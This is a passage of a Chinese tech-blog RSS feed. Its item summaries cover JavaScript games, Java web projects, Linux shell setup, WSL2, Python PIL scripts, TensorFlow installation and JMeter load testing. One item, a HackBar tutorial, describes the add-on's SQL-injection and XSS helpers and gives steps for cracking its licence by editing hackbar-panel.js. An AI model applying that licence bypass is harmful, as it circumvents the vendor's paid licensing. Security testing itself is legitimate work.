&#34;ct&#34;: &#34;30ef50b82076b2284fa6ca90acbb5938&#34;, &#34;ha&#34;: &#34;md5&#34;, &#34;tn&#34;: &#34;__jsl_clearance_s&#34;, &#34;vt&#34;: &#34;3600&#34;, &#34;</description>
    </item>
    <item>
      <title>学习日记|JavaScript在网页实现的五子棋游戏</title>
      <link>https://bchobby.github.io/posts/572e4d33023c2baefde31d4de4b5edf3/</link>
      <pubDate>Thu, 22 Jul 2021 17:14:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/572e4d33023c2baefde31d4de4b5edf3/</guid>
      <description>js实现的五子棋 学习js的第三天，跟着老师完成的五子棋小游戏，记录学习成果欢迎大佬们一起分享经验，批评指正。&#xA;本程序主要通过三部分实现：&#xA;1.棋盘绘制&#xA;2.鼠标交互&#xA;3.输赢判断&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt; canvastest &amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1&amp;gt; canvas&amp;lt;/h1&amp;gt; &amp;lt;canvas id=&#34;canvas&#34;width=&#34;400&#34;height=&#34;400&#34;&amp;gt; &amp;lt;/canvas&amp;gt; &amp;lt;script src=&#34;https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; var canv=document.getElementById(&#34;canvas&#34;); var ctx=canv.getContext(&#34;2d&#34;); ctx.strokeStyle=&#34;black&#34;; var bow=0; //画出棋盘； var matrix=[ [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], ]; ctx.beginPath(); for(var i=0;i&amp;lt;19;i++){ ctx.moveTo(10+20*i,10); ctx.lineTo(10+i*20,370); ctx.moveTo(10,20*i+10); ctx.lineTo(370,i*20+10); } ctx.stroke(); //鼠标交互； $(&#34;#canvas&#34;).click(function(event) { console.log(event.offsetX) console.log(bow); var arcPosX,arcPosY; var mtxPosX,mtxPosY; for(var x=0;x&amp;lt;19;x++) { if((Math.</description>
    </item>
    <item>
      <title>基于jsp网上蛋糕销售系统的设计与实现</title>
      <link>https://bchobby.github.io/posts/bc2e3d055cdbf6d09c7f39d3c6db909e/</link>
      <pubDate>Thu, 22 Jul 2021 14:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc2e3d055cdbf6d09c7f39d3c6db909e/</guid>
      <description>介绍：&#xA;spring+struts+ Hibernate +mysql&#xA;会员模块：会员即用户，用户需要先注册才能登录。登录之后用户可以在网上查看对比所有蛋糕信息，如果有看中的蛋糕即可加入到购物车之中，然后下订单，若购物车中有不想要的蛋糕可以删除。除此之外，用户可以查看公告信息，也可以在网站论坛上发表评论。&#xA;管理员模块：管理员具有系统最高权限，功能如下：&#xA;（1）修改管理员密码：管理员能够在这里修改下次登录的密码，但是管理员的用户名是不可更改的。&#xA;（2）用户信息管理：管理员能够查看会员资料，并有权将其删除。被管理员删除的会员将无法用其删除的账户登录该系统。&#xA;（3）查看蛋糕信息：管理员能够查看全部蛋糕类别信息及其属性，能够添加和删除蛋糕类别。&#xA;（4）蛋糕信息管理：管理员能够查看蛋糕信息，比如查看所有蛋糕的属性，以及可以帮蛋糕设置特价，还能对蛋糕的属性进行添加、修改和删除。&#xA;（5）订单信息管理：管理员能够查看订单的信息，并可以选择对其进行受理或者删除操作。&#xA;（6）网站论坛：管理员能查看所有用户在网站论坛的留言，对这些留言具有删除权限。&#xA;（7）公告管理：管理员查看网站所发布的所有公告，并且及时对公告做出更新。&#xA;截图：&#xA;数据库表：&#xA;（1）会员信息主要指会员注册时所包含的信息，这些信息就是会员的属性。该系统的会员信息图如图7-27所示：&#xA;图7-27 会员信息图&#xA;（2）蛋糕类别是对蛋糕的种类的介绍，其拥有三个属性。该系统的蛋糕类别图如图7-28所示：&#xA;图7-28 蛋糕类别图&#xA;（3）蛋糕信息与蛋糕类别不同，蛋糕信息主要是蛋糕本身的各个属性，该系统的蛋糕信息图如图7-29所示：&#xA;图7-29 蛋糕信息图&#xA;（4）公告是系统的一种通知信息，它有四个属性。该系统的公告信息图如图7-30所示：&#xA;图7-30 公告信息图&#xA;（5）管理员是系统另一使用者，拥有系统最高权限。本系统的管理员信息图如图7-31所示：&#xA;图7-31 管理员信息图&#xA;（6）任何一个购物系统都会生成其订单，订单的属性大同小异，本系统的订单信息图如图7-32所示：</description>
    </item>
    <item>
      <title>Linux为用户配置.bash_profile文件后不生效</title>
      <link>https://bchobby.github.io/posts/ed6427025f449916bf5ea1e872f740dc/</link>
      <pubDate>Thu, 22 Jul 2021 11:00:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed6427025f449916bf5ea1e872f740dc/</guid>
      <description>之前有一个服务器上安装了数据库，创建了操作系统用户dmdba。在给dmdba配置环境变量的时候怎么都不生效。配置是直接写在~/.bash_profile文件里。使用su - dmdba命令切换到该用户下后，echo环境变量发现不生效，需要手动source ~/.bash_profile才行。&#xA;挣扎两天，无果。后来灵光一现，看了/etc/passwd文件，发现这个文件里面dmdba用户的解释器用的是/bin/sh。&#xA;使用usermod -s /bin/bash dmdba命令修改dmdba用户的解释器后，再su - dmdba切换进去，发现环境变量生效了！&#xA;但不知其所以然。</description>
    </item>
    <item>
      <title>Cannot read property ‘0‘ of null(element 时间日期选择器el-date-picker点击清空按钮报错)(问题篇)</title>
      <link>https://bchobby.github.io/posts/df3f28558c82895335565e458250ff43/</link>
      <pubDate>Thu, 22 Jul 2021 10:35:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df3f28558c82895335565e458250ff43/</guid>
      <description> 1、问题如下图 2、解决办法，加个判断，判断时间是否为null,是的话，清空绑定的时间和发送请求的时间，不为空，则发请求，检索数据。 getItemChange(time) { //判断选择器的时间是否为空 if (time === null) { //清空要发送请求的开始时间和结束时间 this.labelQuery.startTime = &#34;&#34;; this.labelQuery.endTime = &#34;&#34;; //清空时间选择器，绑定的时间 this.value2 = &#34;&#34;; //重新执行查询数据的函数 this.queryReaderLabelInfo(); } //判断如果不为空时 if (time[1] &amp;amp;&amp;amp; time[0]) { // 开始时间不能大于等于结束时间 if (time[0].getTime() &amp;gt;= time[1].getTime()) { //弹出错误警告 this.$message({ showClose: true, message: &#34;查询的结束时间不能小于查询的开始时间！&#34;, type: &#34;错误&#34;, }); } else { //给要发送请求的字段赋值 this.labelQuery.startTime = time[0].getTime(); this.labelQuery.endTime = time[1].getTime(); //执行查询数据的函数 this.queryReaderLabelInfo(); } } }, </description>
    </item>
    <item>
      <title>java 停车场管理系统,项目包含源码&#43;说明文档，适合作为学习案例使用。</title>
      <link>https://bchobby.github.io/posts/8f84bddae706772c622f162c4d73b225/</link>
      <pubDate>Thu, 22 Jul 2021 09:56:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f84bddae706772c622f162c4d73b225/</guid>
      <description>java 停车场管理系统&#xA;所用技术：ssm spring boot mysql layui&#xA;项目包含源码+说明文档，适合作为学习案例使用。</description>
    </item>
    <item>
      <title>STM32 MODBUS RTU源码/485/CAN/IIC ，I/O/USART源码</title>
      <link>https://bchobby.github.io/posts/3009b58f2bf6546d88826c3d9fc847b1/</link>
      <pubDate>Thu, 22 Jul 2021 09:38:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3009b58f2bf6546d88826c3d9fc847b1/</guid>
      <description>STM32 MODBUS RTU源码/485/CAN/IIC ，I/O/USART源码</description>
    </item>
    <item>
      <title>三凌FX3U源码,包括PCB；原理图 ,FX3U源码/PLC FX3U/三凌FX3U源码/FX3Uplc/全套生产方案</title>
      <link>https://bchobby.github.io/posts/90955a66e5ba43dc2431ed44d0e139d8/</link>
      <pubDate>Thu, 22 Jul 2021 09:36:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90955a66e5ba43dc2431ed44d0e139d8/</guid>
      <description>三凌FX3U源码,包括PCB；原理图 ,FX3U源码/PLC FX3U/三凌FX3U源码/FX3Uplc/全套生产方案&#xA;100%能正常运行稳定，</description>
    </item>
    <item>
      <title>基于stm32的空气质量检测净化系统，检测温湿度和pm10和 pm2.5，资料包含（设计文档，源码，pcb电路）。</title>
      <link>https://bchobby.github.io/posts/575aa0c46dd30c5644c909df8109221d/</link>
      <pubDate>Thu, 22 Jul 2021 09:34:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/575aa0c46dd30c5644c909df8109221d/</guid>
      <description>基于stm32的空气质量检测净化系统，检测温湿度和pm10和 pm2.5，资料包含（设计文档，源码，pcb电路）。</description>
    </item>
    <item>
      <title>WSL2：Windows 亲生的 Linux 子系统</title>
      <link>https://bchobby.github.io/posts/6a1de0bc2da4f49af10ed8f7dedfae61/</link>
      <pubDate>Thu, 22 Jul 2021 08:35:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a1de0bc2da4f49af10ed8f7dedfae61/</guid>
      <description>作 者：道哥，10+年的嵌入式开发老兵。&#xA;公众号：【IOT物联网小镇】，专注于：C/C++、Linux操作系统、应用程序设计、物联网、单片机和嵌入式开发等领域。 公众号回复【书籍】，获取 Linux、嵌入式领域经典书籍。&#xA;转 载：欢迎转载文章，转载需注明出处。&#xA;文章目录 安装 WSL2 的前提条件安装 WSL2安装桌面环境安装客户端配置 DISPLAY 环境变量安装服务端启动客户端中文支持 在上一篇文章中，我们主要聊了一下：在 Windows 系统中，安装 WSL 子系统。 文章在此：WSL：在 Windows 系统中开发 Linux 程序的又一神器&#xA;但是 WSL 只是长得像 Linux 而已，虽然在这个子系统中，我们可以执行 Linux 程序，但是到了底层，WSL 调用的还是 win32 API。&#xA;也就是说：WSL 只是一个适配层。&#xA;后来，微软终于放出了 WSL2 这个真正的 Linux 子系统，这是一个真正的 Linux 完整内核，与传统的虚拟机 VitualBox、VMWare 一样，但是它与宿主机的互操作性更好。&#xA;为了完整性，我们就继续把这个流程给走完。&#xA;在这个过程中遇到的问题、需要的安装软件等资源，已经上传到网盘，在文末有下载地址。&#xA;安装 WSL2 的前提条件 在开始之前，我们先来看一下目前电脑中的 WSL 的版本。&#xA;在 Windows 命令行窗口，输入指令：wsl --list --verbose(或者输入简化版本：wsl -l -v)，得到结果：&#xA;可以看到我们上一篇文章中安装的 Ubuntu-18.04，而且 WSL 的版本是 1。&#xA;如果要升级到 WSL2，Windows 操作系统的内核版本必须满足一定的要求，如下：&#xA;我们就按照官方的要求，检查一下自己的电脑是否满足需求：选择 Windows 徽标键 Win + R，然后键入 winver，选择 “确定”。</description>
    </item>
    <item>
      <title>用Python&#43;PIL将多个jpg图像批量合并成一个pdf文件</title>
      <link>https://bchobby.github.io/posts/2605fc21cb4ca406422d1a1755a84a71/</link>
      <pubDate>Thu, 22 Jul 2021 07:33:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2605fc21cb4ca406422d1a1755a84a71/</guid>
      <description>一、引言 在《用Python+PIL将目录下jpg图像批量转成pdf文件》介绍了将一个目录下所有的jpg文件批量转成一对一的pdf文件的方法，但单位后来又要求将所有图片合并到一个PDF中看，在实际工作中，确实有时还需要将批量图片文件合并生成一个PDF文件，本文就简单介绍一下该方法。&#xA;二、实现方法 要将多张图片合并到一个PDF文件，还是用上文介绍的PIL库，只是不是逐一将图像文件存储为PDF文件，而是将图像文件打开后的对象实例添加到一个列表中，最后在一起存储到PDF中即可。&#xA;需要注意的是，存储是必须通过图像对象的save方法，因此将所有文件都装入后，需要从链表中将第一个文件取下作为调用save方法的对象实例，同时要从链表中删除取下的对象。&#xA;这样方法处理的PDF文件，其图像在PDF中的顺序与装载到链表中的顺序一致。&#xA;三、完整代码 下面的代码既将每个图片文件生成对应的PDF文件，同时还生成一个将所有图片都合并到一个PDF文件的合并文件：&#xA;from PIL import Image import os def jpg2pdf(jpgFile): global imglist path,fileName = jpgFile.rsplit(&#39;\\&#39;,1) preName,postName = fileName.rsplit(&#39;.&#39;,1) img = Image.open(jpgFile) imglist.append(img) return img.save(path+&#34;\\&#34;+preName+&#39;.pdf&#39;, &#34;PDF&#34;, resolution=100.0, save_all=True) def jpg2pdfByPath(pathName): global imglist imglist = [] imgfile = &#39;&#39; files = os.listdir(pathName) for f in files: if f.lower().find(&#34;.jpg&#34;)&amp;gt;0 : jpg2pdf(pathName+&#39;\\&#39;+f) imgfile = f imgMerge = imglist.pop(0) #取出第一个图片示例 imgMerge.save(pathName+r&#39;\merge.pdf&#39;,&#34;PDF&#34;, resolution=100.0, save_all=True, append_images=imglist) print(&#34;all images processed!&#34;) jpg2pdfByPath(r&#39;F:\temp\pic&#39;) 四、小结 本文介绍了使用Python+PIL库将多个图片合并成一个PDF文件的方法。</description>
    </item>
    <item>
      <title>HTML&#43;CSS 主页面美化的详细过程及全部代码（美化导航栏&#43;文本框&#43;按钮）</title>
      <link>https://bchobby.github.io/posts/f812746633c16b0a91e9b439f81f240f/</link>
      <pubDate>Wed, 21 Jul 2021 18:19:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f812746633c16b0a91e9b439f81f240f/</guid>
      <description>文章目录 效果图展示前言步骤0.创建css文件1.美化中间板块1.1 html改变1.2. css部分1.3. placeholder美化 2.增加导航栏2.1 html文件增加代码2.2 CSS文件增加代码 3.添加背景补充 效果图展示 效果图：&#xA;原界面：&#xA;先放原界面的代码：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;WEATHER&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body id=&#34;weather&#34; style=&#34;text-align: center; padding: 5px; background-color:skyblue;&#34;&amp;gt; &amp;lt;form action=&#34;https://bchobby.github.io/year&#34; method=&#34;POST&#34;&amp;gt; &amp;lt;br&amp;gt; &amp;lt;p&amp;gt;某城市某年的天气情况&amp;lt;/p&amp;gt; &amp;lt;div class=&#34;form&#34;&amp;gt; &amp;lt;p&amp;gt;查找的城市&amp;lt;/p&amp;gt; &amp;lt;input class=&#34;form-name&#34; placeholder=&#34;输入城市的名字，如：成都&#34; name=&#34;city&#34; type=&#34;text&#34; autofocus&amp;gt; &amp;lt;/div&amp;gt;&amp;lt;br&amp;gt; &amp;lt;div class=&#34;form&#34; style=&#34;margin-top: 30px;&#34;&amp;gt; &amp;lt;p&amp;gt;查找的年份&amp;lt;/p&amp;gt; &amp;lt;input class=&#34;form-name&#34; placeholder=&#34;输入过去十年内的年份，如：2020&#34; name=&#34;year&#34; type=&#34;text&#34; autofocus&amp;gt; &amp;lt;/div&amp;gt;&amp;lt;br&amp;gt; &amp;lt;input type=&#34;submit&#34; value=&#34;搜索&#34; class=&#34;btn&#34; /&amp;gt;&amp;lt;/br&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; &amp;lt;a href=&#34;https://bchobby.github.io/high_temperature&#34; target=&#34;_blank&#34;&amp;gt;全国省会城市最高气温&amp;lt;/a&amp;gt; &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; &amp;lt;a href=&#34;https://bchobby.github.io/low_temperature&#34; target=&#34;</description>
    </item>
    <item>
      <title>安装和导入tensorflow、keras出错的问题</title>
      <link>https://bchobby.github.io/posts/538aef00cefe50ba8965e624a1643991/</link>
      <pubDate>Wed, 21 Jul 2021 16:56:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/538aef00cefe50ba8965e624a1643991/</guid>
      <description>前提：已经安装完Anacanda。&#xA;事先创建一个tensorflow的虚拟环境，用作tf（也可以用默认的base环境），我这里创建的名字是tensorflow，python的版本号是3.6（要和后续的tf和keras的版本号对应才行）&#xA;conda create --name tensorflow python=3.6， 注意：安装之前可以修改pip安装源，以提高下载速度。此目录下新建pip文件夹，创建pip.ini文件，内容：&#xA;[global] index-url=https://mirrors.aliyun.com/pypi/simple [installed] trusted host=mirrors.aliyun.com 然后进入tensorflow环境下操作：&#xA;cmd命令行窗口下，&#xA;安装tensorflow:&#xA;pip install tensorflow # 安装&#xA;pip install tensorflow==1.3.0 # 安装指定版本号的tensorflow&#xA;pip show tensorflow #查看tensorflow是否安装及版本号&#xA;pip uninstall tensorflow #卸载&#xA;安装keras:&#xA;pip install keras # 安装&#xA;pip install keras==1.3.0 # 安装指定版本号的tensorflow&#xA;pip show keras #查看tkeras是否安装及版本号&#xA;pip uninstall keras #卸载&#xA;==================================&#xA;下载完成后，导入：&#xA;python环境下，&#xA;import tensorflow #导入tensorflow import keras #导入keras 最可气的地方就在这里，导入过程中不是导入tensorflow出错就是导入keras出错，最后查了一些资料应该是因为版本号匹配的问题，再加上自己的电脑比较老古董（忧伤），新版本支持有问题，导致重复多次，真是崩溃。。。&#xA;tensorflow和keras版本对应关系可在此查看：https://docs.floydhub.com/guides/environments/&#xA;由于我电脑的原因，只能选择比较老的版本：&#xA;最终终于导入成功keras&#xA;下面分别是安装的版本号：&#xA;=================分割线=============&#xA;后来经测试，在使用keras加载序列模型的时候，会报错 “KeyError:0”，经查资料，发现是keras版本问题：见</description>
    </item>
    <item>
      <title>RPC接口设计</title>
      <link>https://bchobby.github.io/posts/4904f8134d73a2be7aff593fdd102996/</link>
      <pubDate>Wed, 21 Jul 2021 16:32:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4904f8134d73a2be7aff593fdd102996/</guid>
      <description>初识 RPC 接口设计 由于 RPC 中的术语每个程序员的理解可能不同，所以文章开始，先统一下 RPC 术语，方便后续阐述。&#xA;大家都知道共享接口是 RPC 最典型的一个特点，每个服务对外暴露自己的接口，该模块一般称之为 api；外部模块想要实现对该模块的远程调用，则需要依赖其 api；每个服务都需要有一个应用来负责实现自己的 api，一般体现为一个独立的进程，该模块一般称之为 app。&#xA;api 和 app 是构建微服务项目的最简单组成部分，如果使用 maven 的多 module 组织代码，则体现为如下的形式。&#xA;serviceA 服务&#xA;serviceA/pom.xml 定义父 pom 文件&#xA;&amp;lt;modules&amp;gt; &amp;lt;module&amp;gt;serviceA-api&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;serviceA-app&amp;lt;/module&amp;gt; &amp;lt;/modules&amp;gt; &amp;lt;packaging&amp;gt;pom&amp;lt;/packaging&amp;gt; &amp;lt;groupId&amp;gt;moe.cnkirito&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;serviceA&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0.0-SNAPSHOT&amp;lt;/version&amp;gt; serviceA/serviceA-api/pom.xml 定义对外暴露的接口，最终会被打成 jar 包供外部服务依赖&#xA;&amp;lt;parent&amp;gt; &amp;lt;artifactId&amp;gt;serviceA&amp;lt;/artifactId&amp;gt; &amp;lt;groupId&amp;gt;moe.cnkirito&amp;lt;/groupId&amp;gt; &amp;lt;version&amp;gt;1.0.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt; &amp;lt;artifactId&amp;gt;serviceA-api&amp;lt;/artifactId&amp;gt; serviceA/serviceA-app/pom.xml 定义了服务的实现，一般是 springboot 应用，所以下面的配置文件中，我配置了 springboot 应用打包的插件，最终会被打成 jar 包，作为独立的进程运行。&#xA;&amp;lt;parent&amp;gt; &amp;lt;artifactId&amp;gt;serviceA&amp;lt;/artifactId&amp;gt; &amp;lt;groupId&amp;gt;moe.cnkirito&amp;lt;/groupId&amp;gt; &amp;lt;version&amp;gt;1.0.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt; &amp;lt;artifactId&amp;gt;serviceA-app&amp;lt;/artifactId&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 麻雀虽小，五脏俱全，这样一个微服务模块就实现了。</description>
    </item>
    <item>
      <title>深度学习基于DEAP的脑电情绪识别情感分类(附代码)</title>
      <link>https://bchobby.github.io/posts/5531d774e52633c6b25ceaa1f69c2f4d/</link>
      <pubDate>Wed, 21 Jul 2021 16:30:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5531d774e52633c6b25ceaa1f69c2f4d/</guid>
      <description>DEAP数据集： DEAP数据集来源：&#xA;DEAP: A Dataset for Emotion Analysis using Physiological and Audiovisual Signals (qmul.ac.uk)&#xA;DEAP数据集介绍：&#xA;DEAP数据集介绍&#xA;脑电情绪识别： 主要分为三步骤：数据预处理，特征提取，构建模型。&#xA;数据预处理部分建议自己处理。其中一定要做的就是去掉63s的前三秒的基线时间。&#xA;可以考虑的地方特别多，例如选取哪几个通道，并不是一定把32个脑电通道全部选择。选择哪几个频段分析或者选择单个维度还是多个维度融合。&#xA;特征提取部分：&#xA;首先必须清楚特征分为几类：频域、时域、时频域、空间域。&#xA;时域特征包含基本的事件相关电位、功率 、Hjorth 参数特征 、高阶过零分析等等&#xA;频域特征包含功率、功率谱密度、事件相关同步化、事件相关去同步化、高阶谱、微分 熵等特征 在刚开始做的时候，先做的时域特征的提取：最简单的就是直接将60s的脑电信号处理。或者提取其中一些比较有意义的相关特征。但是准确率并不高，只有60多。&#xA;之后参考了一些网上的思路，采用了频域上的特征提取。主要参考了github上的Preprocess_deap的处理。首先选择了1,2,3,4,6,11,13,17,19,20,21,25,29,31共14个通道，分别对应于&#xA;1 : AF3; 2: F3; 3: F7; 4: FC5; 7: T7; 11: P7; 13: O117: AF4; 19: F4; 20: F8; 21: FC6; 25: T8; 29: P8; 31: O2 之后对这14个通道的数据进行频域分段，其中调用了pyeeg的bin_power函数进行傅里叶变换处理。其中频段选择为：&#xA;[4-8]: theta band[8-12]: alpha band[12-16]: low beta band[16-25]: high beta band[25-45]: gamma band 选择了微分熵作为频域特征。部分代码如下：</description>
    </item>
    <item>
      <title>计算机地图综合制图gdp,GDP地图可视化01: 加载地图数据</title>
      <link>https://bchobby.github.io/posts/dccbc2ce2009d4ea5c62ac62675c1803/</link>
      <pubDate>Wed, 21 Jul 2021 16:01:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dccbc2ce2009d4ea5c62ac62675c1803/</guid>
      <description>本节主要完成地图的初始化加载。&#xA;主要思路&#xA;将摄像头调整好。&#xA;读取坐标文件;&#xA;绘制；&#xA;调整位置，场景大小等，使得地图居中。&#xA;原生js读取json文件&#xA;略&#xA;使用FileLoader读取json&#xA;var loader = new THREE.FileLoader();&#xA;loader.load(&#xA;// resource URL&#xA;&#39;./data/china.json&#39;,&#xA;// onLoad回调&#xA;function (data) {&#xA;// output the text to the console&#xA;}&#xA;)&#xA;注意读出来的是字符串，需要转为json对象。&#xA;FileLoader&#xA;使用XMLHttpRequest来加载资源的低级类，并由大多数加载器内部使用。 它也可以直接用于加载任何没有对应加载器的文件类型。&#xA;形状(Shape)&#xA;继承关系是 Curve -&amp;gt; CurvePath -&amp;gt; Path -&amp;gt; shape.&#xA;Shape 使用路径以及可选的孔洞来定义一个二维形状平面。&#xA;需要配合 ExtrudeGeometry、ShapeGeometry一起使用。&#xA;ShapeGeometry 与 ExtrudeGeometry&#xA;ShapeGeometry 使用 shape 创建一个单面多边形几何体，是二维的。&#xA;而 ExtrudeGeometry 从一条形状路径中，挤压出一个Geometry，是三维的。&#xA;利用 边缘几何体(EdgesGeometry)添加省界线&#xA;源码&#xA;```html地图GDP&#xA;body {&#xA;margin: 0;&#xA;overflow: hidden;</description>
    </item>
    <item>
      <title>Xilinx ISE Isim仿真错误的解决方法</title>
      <link>https://bchobby.github.io/posts/51c30f6b6462b04e5c6cc1ad702cd122/</link>
      <pubDate>Wed, 21 Jul 2021 14:58:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51c30f6b6462b04e5c6cc1ad702cd122/</guid>
      <description> Xilinx ISE Isim仿真错误的解决方法&#xA;参考文章：&#xA;（1）Xilinx ISE Isim仿真错误的解决方法&#xA;（2）https://www.cnblogs.com/elitezhe/p/ise-isim-error.html&#xA;备忘一下。 </description>
    </item>
    <item>
      <title>【jmeter性能测试】模拟多个IP同时登录</title>
      <link>https://bchobby.github.io/posts/4339c53b0dce90030e4b1099305edd1e/</link>
      <pubDate>Wed, 21 Jul 2021 11:40:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4339c53b0dce90030e4b1099305edd1e/</guid>
      <description>背景 有些平台/系统不存在多个账户同时登录的情况，此时如果需要对登录接口进行压力测试，可以使用多个IP，模拟多台电脑同时登录同一平台的场景&#xA;操作步骤 1. 准备多个IP，方法如下：&#xA;在局域网内查询空闲的IP有哪些，将这些IP记录下来，并保存为csv文件&#xA;2. 将测试电脑的IP改为静态IP&#xA;将步骤1中记录的空闲IP添加到测试电脑上 网络设置-高级，添加多个IP&#xA;检查添加的IP是否成功：ping一下这个IP，如果ping得通，则说明IP设置成功 4. jmeter中添加csv数据文件设置&#xA;5. 配置csv参数&#xA;6. 配置需要多个IP访问的http请求&#xA;7. 运行登录请求，察看结果数中查看是否是多个IP在访问</description>
    </item>
    <item>
      <title>HackBar 新手使用教程</title>
      <link>https://bchobby.github.io/posts/31f625bdadeeba604f022b1a24cd56d2/</link>
      <pubDate>Wed, 21 Jul 2021 11:28:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31f625bdadeeba604f022b1a24cd56d2/</guid>
      <description>啥是Hackbar？ Hackbar是一个Firefox的插件,它的功能类似于地址栏,但是它里面的数据不受服务器的相应触发的重定向等其它变化的影响。有网址的载入于访问,联合查询,各种编码,数据加密功能。&#xA;这个Hackbar可以帮助你在测试SQL注入,XSS漏洞和网站的安全性,主要是帮助开发人员做代码的安全审计,检查代码,寻找安全漏洞。Hackbar 在Burpsuite中也有该插件 这个插件是用 webextension 编写的，是原始 Hackbar 的 XUL 版本的替代品。按 F12 使用 HackBar。&#xA;安装使用教程 安装&#xA;google浏览器与火狐浏览器都支持Hackbar，谷歌浏览器需要到谷歌商店下载（需科学上网），之后打开“chrome 网上应用店”，在搜索框搜索“hackbar”：&#xA;出现如下输入注册码：&#xA;下面是火狐的插件搜索结果：&#xA;按下F12，点击如图所示：&#xA;各个英文解释如下：&#xA;SQL：提供三种数据库的sql查询语句，以及一些方便联合查询的语句XSS：提供xss攻击语句string.fromcharcode()：将根据UNICODE 值来输出xss语句html charactor ： 将XSS语句转化为HTML字符实体（以&amp;amp;开头）alert(xss) statement : 构建一条xss测试语句，弹出一个框内容为xss，相当于alert(‘xss’);Encryption：对所选字符进行加密，提供了MD5，SHA-1，SHA-256，ROT13等加密方式Encoding：对所选字符进行编码解码，提供了Base64 Encode,Base64 Decode,URLencode,URLdecode,&#xA;HEX encoding, HEX decoding等方式Other：&#xA;addslashes：在每个双引号前加反斜杠&#xA;stripslashes：除去所选字符中的反斜杠&#xA;strip space：除去所选字符中的空格&#xA;reverse：将所选字符倒序排列&#xA;usefull strings：提供了一些特殊的数值如圆周率PI,斐波那契数列等，其中buffer overflow 可以输入一定长度的字符造成缓存溢出攻击 绕过方法食用 法一：下载安装旧版本插件，去掉更新（点击下载）&#xA;Github1： https://github.com/HCTYMFF/hackbar2.1.3&#xA;Github2： https://github.com/fengwenhua/hackbar_crack&#xA;法二：修改插件&#xA;谷歌浏览器 点开HackBar插件详细页面，查看ID值找到插件目录，【“C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Extensions”】&#xA;找到其目录下的js文件下的 “hackbar-panel.js”文件，然后打开此js文件&#xA;打开js文件后，有两种方法对插件进行破解 方法一：&#xA;找到第25行代码，将“license_ok=false”改为“license_ok=true”,然后在Chrome浏览器按“F12”键，选择HackBar，在License框中随便输入一个许可码，点击&#34;Save&#34;就可以免费使用了 方法二：开始与方法一相同，找到“hackbar-panel.js”文件，打开此js文件，选择42、45、52处，将这三处的代码disable_hackbar(); 注释掉，同时再添加一行init(); 